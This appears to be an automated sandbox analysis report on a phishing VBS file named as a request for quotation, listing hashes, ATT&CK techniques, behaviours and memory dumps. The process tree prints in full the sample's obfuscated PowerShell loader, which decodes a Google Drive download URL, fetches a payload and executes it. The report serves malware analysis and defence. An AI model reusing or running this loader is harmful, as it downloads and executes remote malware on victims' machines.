08397cf6fd972e74c1be43021f5af0e60a031844b92d196b2e9f356e15eb4d12

General

Target

Request for Quotation MK FMHS.RFQ.10.24.vbs
Size

29KB
MD5

4e4a0cf55522747307400f46995c785c
SHA1

6fba2e0b4fa0ada0c8d8a55a50b5e05e5a4668c1
SHA256

08397cf6fd972e74c1be43021f5af0e60a031844b92d196b2e9f356e15eb4d12
SHA512

71b1014af85207fa1e722238a10dc6511a01527eba1d75d3ce5ee166be83a704043772170572d659206f0f9e48ab56cdbcaedf979c42357a3f8dca3f83b8f174
SSDEEP

384:e5vxs5Mrgr9603OFTxLasx9I98I5xyeQAB+4vkpz215y5aYPVit:e5vxM9TOFTUsxi8CyTXQLWtit

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	4764	WScript.exe
22	4136	powershell.exe
24	4136	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4136	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
21	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4136	powershell.exe
4136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 4136	4764	WScript.exe	87
PID 4764 wrote to memory of 4136	4764	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Quotation MK FMHS.RFQ.10.24.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Underskrid tidsplans Daunton Paaklistrede forfra Samlerens Administrator #>;$Busing='Fritog';<#Forestillingskredsene Flintglassets Sphaeristeria #>;$Rottegiftenes=$Rundsaves+$host.UI;function Friktion($Apogaeic){If ($Rottegiftenes) {$Forkrppe++;}$Gossipingly=$Sevrdigheden+$Apogaeic.'Length'-$Forkrppe; for( $Nondefined=5;$Nondefined -lt $Gossipingly;$Nondefined+=6){$Sbladens++;$Fernambuck+=$Apogaeic[$Nondefined];$Nationaliteternes='Jagende';}$Fernambuck;}function Goutish($Repairmen){ . ($Gangarealer) ($Repairmen);}$Looplet=Friktion 'BlodkML thooHacenzKommii othelConnelDysphaMo ar/Ferru ';$Looplet+=Friktion ',erio5 .ene.,irst0 Aofa Befol( Gi lWFje niPreffnExptldAn eroE.stew GloesBereg P romN yslT Outt Churc1Usual0Rustn.Count0selsk;Kroku F arWDeseri ompan Bren6Capac4Sup.r;Unmol Omfo.xL vel6Unaff4 Epic; Flin D ditrAktiovExha :Off.c1 i,du3I lac1Vanda. Amat0 Puga)Perle Sna,jGSplineEmigrcSkvetkAkemboLenie/strop2Sub i0Fiske1Verds0Carya0Nim,l1Co,in0Maski1 Shop A.terFskinki bechrSelere FingfHol no.anolx ntra/Ka,ne1U aff3skums1Skriv.Formu0 Unde ';$Pajernes=Friktion 'KlapjUCafndsUnacceTra wRMoabi-DivinA BreagAdelseBrndenSkismT tink ';$Extrafine=Friktion 'Irroth chiftUbesvtStethp oncos lud:to al/Uncon/ grapdHakkerHypocivenalv Ha.le Ko m.Nonp gPrepooSygdooWell gPredil ntiteLandh.DraftcclonooSe.iumstu,i/UnfrouLouiscRe,re?SchooeMolybxLoyalpFo,kvoBilagrPhilotGiant=FootpdDjvleoGuil,wJagtdnBrystlJuxt.o njoiaProgrdBjerg&,eroni BarddKnyst=beske1Nones4bellymLandfCSen,uVM.noeXSa.mepHje tn RaadOStatiNge fd3Da hnOTendeX Ge,f5uk uk9.mmersInt gfH moc0 ,paceSuba,8KrakkcAmm cN,olhjGFremsoP,ofe5 sumpJChamp1AlignlNonrel Unw 6P gonsNummeeCrawl1Typ l ';$Poliosis=Friktion 'Sp.ci>Penta ';$Gangarealer=Friktion 'VirksIImpenEEds,oX ham ';$Renders='Sude';$misfortolkninger='\Preguess.Sem';Goutish (Friktion ' egiv$Afsi gGuid lEteocoScho,b ibwaMisruLBrain:Jugl mSnooteQuinitUrmagaSpndiCTorgui StroSrudimmSk bsuWurlesWings=Nooke$TilbaeUn ernimmanvPlast:SammeAPa tepAnkr.p A biDSh rta WeirTBon lA ort+Propa$S.irrMCirk IOutp sBrtsef AfseoMelder ubteTFreezOGr ntLDraffkUnb.unUnderi rillN AfsnGO dboEbolomr Pneu ');Goutish (Friktion 'Gran,$mahogGGynaeLNedbrOTriodB LensA OrycLTepar:Gy,namW rkii akubSZulukD FultEVirges enerc hvilR iscoiUnsarbValnde Hun RO.ker= Nos.$ EchieUgelnxMoan,t MyogrSkideaanalef Fin I NonmnRyghve Teat.AfkomSW step s ecLWaughIPrvettTreti(Scree$MicroPHleriojoaprLNaturIHve oOB tatSFlaarisnobbSSubmi)Tampo ');Goutish (Friktion 'Komp.[Cin,aNMisfoE s peT Skot.Sko sSMorgeESupe,r RingVMisteiNonexCLivsfeUpploP BrugOAccepI ngornDiambt DissM.torkAHe acnLol,ua AlarG ImpaE Un eRFlles] An,i: Led :,ubasSTypolEtabulcLymphUA gorr,efteiUdsputSeignYBrug.p SemeR IldeOPolemtUndraoForstcRiddeotrapalUnsp M,ksi=Stult Befs[BrndeN LandeP stbtEpok..HelbrsBihuleSlyngcRolleUSkiffRChub,iIronbtChaffY.dnvnpDepotR ParroPuritTGetliOu orsCAnt.co P ntlFejlktMoseoYS,adsP UnwieOpg v] ropo:Pant,:AccustKodifL ilttSUdst 1Talri2Salon ');$Extrafine=$Misdescriber[0];$Nonresistiveness=(Friktion ' darm$ uccog F otlKag doKniplb eaanATr.plL ujon: Komakantico sp nddelayeManorKScin S hiloEblot,RTinsesVarer= ArsenHy eiEaetioW maur-P.ojeOJenbrbHjrefJ,asoseIgangcLowertTread L coms TundySynags dsortBenziESk pimfu,fu.BaskeNS.essEForkuT misk.A benW Jor EA.modBteleoc engrLsubs.I Fat,eHup oN Cip,TDocke ');Goutish ($Nonresistiveness);Goutish (Friktion ' .cce$Dobbeksoleno DiskdV.diaeInterktripls Dol eSnakkrUterlsEt ge.RetsmHIntereBanesaBrkagdRimene oibwrUn.lusKrsan[ Lyst$MatemPFavaga elekjTookee Vrg,rErst nCoulieGehr sTrbe,]Sa ba=Lever$OplgrLEmpo,oMargioMnstepSkjullMastueLoftstServi ');$Handlock=Friktion 'Ellev$EndoskCathoo CecoddecaseKrtegkTre.isGaleyeBre.yrnorm.sSvind.Ov raDEchogo.everwSulc.nUppe,lGrandoPhysia.visadMockeFSaliniRen,el Calle.elat(Betle$DefilEApproxPersptscrolrBndela Mic fTjeriic.stunFejlmeDefa ,Fors $ TndeWRestrhLoegniVaar.tSammeeScolilH iveiSpn in Or deRoman)Folke ';$Whiteline=$Metacismus;Goutish (Friktion 'Lacun$ M,nig Enc lCrustoOprikBYdervA A.ieLFremd: LeneLUintaeBl,ahvC arrESiegedVvestyKv vagBestrtCountiAfskrg lykE Cine=Overs(Ud rtTTr chENonstsIn.amtcurta- BortpAddreASkamsTAlkohh Brmm Propa$ GobbW SemihPothoI Exp TArkivEadfrdLRussiIRe isnJokereFor.m)Xanth ');while (!$Levedygtige) {Goutish (Friktion 'Skriv$ ightgStrmnlEpochoImitabLongwa Blufl Xeno: VitrFSprj r.enataCar agIrkesaLauroa St,d=Phala$I agit Tid rThermuCorcheM,ljt ') ;Goutish $Handlock;Goutish (Friktion 'Mi imsUudtmtFlat.AV rkerStavet Anal-Vis iSRu soLMisspEBorgeE NonrpPal,m Pr.li4forfl ');Goutish (Friktion ' Envi$ ictGGippoLDicepOGemysB ReteAPa alLBed i:UnthiL BotoE FoalvApparE .ithDS ereyPeriogMe,int,jensi PumpGParabeSteg.=Endow(sev,dtSheareKnowesP.rtaT C,vi-MobilpMusikaligemthal khudhng Subti$SceptWPlanlHFo taiMisfoT SlagERegneLCarnaITotalNStar ePre o)Stabi ') ;Goutish (Friktion 'Midit$brugigMethelRes lo rmwpB Dis aBrugelT.lda:ExotiiBestrNSymbiTPolitE Distn Unf sBliveiBrillFA.oreyLinieiExcitnKr,beGMa su= .iag$ allgRestol ,lskoNaturbUmbraaUmagelDiffu:ThymiDViduniBagskAPentaL CejaO ,akoNBibitiUdstrASpelbNIsaco2Devit4New a+ ede+ Apop%Baseb$CrevemAnse iFu ursKuttaDOxypheRaadgSVen acVetoiR,elieiMicroBEndemeCloa RPuriv.St.mncFindeOElsdyuFiskenFobskTSansc ') ;$Extrafine=$Misdescriber[$Intensifying];}$Peritoneums=287836;$Wastable=31186;Goutish (Friktion ' Ydel$TragiGGttelLH andoVarebB rinca DebilThroa:FejlbBIndd,rFuguenSarcaDTera E SheknSubtel BrutD.onfeeUnhelnLuigi2D dde5Mongr1Undes uncr=Satyr UncapG MiniERipostKnast-ArchicLeonooVillaNOmegntCuld.eDerivn nuseT Fana Circu$Choopw KaraH GaffIStr.gtForhoEEucallBiaseiPi.heN Handeledni ');Goutish (Friktion 'Trakd$FriezgEmulglBalano DudibQuadrarovsglInvas: Tr.aTAfterjCirkeeUnbennStatset,omisSkyrstIchtheAnthomLim iaNatbon,dlgndrhabds ewilSkkevoIsopovBeslaeUddatnAutoe1Bghjo8.ipsd1Pikep Inst=Witta Demol[BrabaSdiskpyHunkssRenuntAmtsleRestamR dyp.Hu.usC SlidoEgenpn DiadvKbteseMacarrrepanturokk]Month:Dksbl:.vejsF ellurStilbo D momB.adtB N,eraRigsbsAfvu.eDes l6Api i4ElevtS IndttPh sprDouseiCrocendove.g V.st(Musik$ L stBToperrurolynUncondOceanecablenUnilal Suppd CruceVe stnInspa2Ha te5Spir 1Borta)subfr ');Goutish (Friktion 'efter$Raw pGTasselBil.iOBdecaBMagirALe edlDeter: Ufors cybaKOleomrU.aadICentgv A.taE SilkP rophuDrmaaLOmstyTAfmatEAntiks Ured writh=O,der Mar.n[InspisUmpywyK.ldsSSa metTraktEP ancMDrift. ZabaTFyndiea calxSlo aTpolic.pralee Fi,mNDraciCVr igO godsd AfteI psenn TwodGThreo] Raad:Armga:ArbejA ubecsLyriccProspI TnkeIlodt.. dataG rdseECatfiT nswaSKal.nTSemulR N ukifor rn MezeGgl ni( ihrd$EntenTNi.otj Mil,EThermNUnejeespjttSatridTBe reESknheMS etiaLarrenVe bydRev,rSKuledl .ndeOscenavTwillETestenu der1Kltr 8Undet1Synod) ycos ');Goutish (Friktion 'headp$RnnesgMundelRelikODef lB Un.gAsubcoL Chas:Albi.OCentrRIndfabSyvene StvslOrsedLopist1 Hy e=Bl,ar$FicklSU cerkLb hjRIn aliLig ev .ermeFarvePV ggeU UdebLkodnit ModsEUn mbsPrin,.Bese.SGlabrUspli,bDioleSAnthrtSlagmR brugiAma oN egioGPlas (Rekre$ BodiP Pre,efiddlrAnskuI.inyltEnochOMrkvrNStartEDebatuspadoMFngsesGasli, Po y$Fila.w bag,aStrumSForsgTPubliArevelB,ondil.atcheHjert)Afpud ');Goutish $Orbell1;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xo1atlxg.bva.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4136-4-0x00007FF994CF3000-0x00007FF994CF5000-memory.dmp

Filesize
8KB

Download
memory/4136-5-0x0000016A67AA0000-0x0000016A67AC2000-memory.dmp

Filesize
136KB

Download
memory/4136-15-0x00007FF994CF0000-0x00007FF9957B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-16-0x00007FF994CF0000-0x00007FF9957B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-19-0x00007FF994CF0000-0x00007FF9957B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-20-0x00007FF994CF3000-0x00007FF994CF5000-memory.dmp

Filesize
8KB

Download
memory/4136-21-0x00007FF994CF0000-0x00007FF9957B1000-memory.dmp

Filesize
10.8MB

Download
memory/4136-24-0x00007FF994CF0000-0x00007FF9957B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing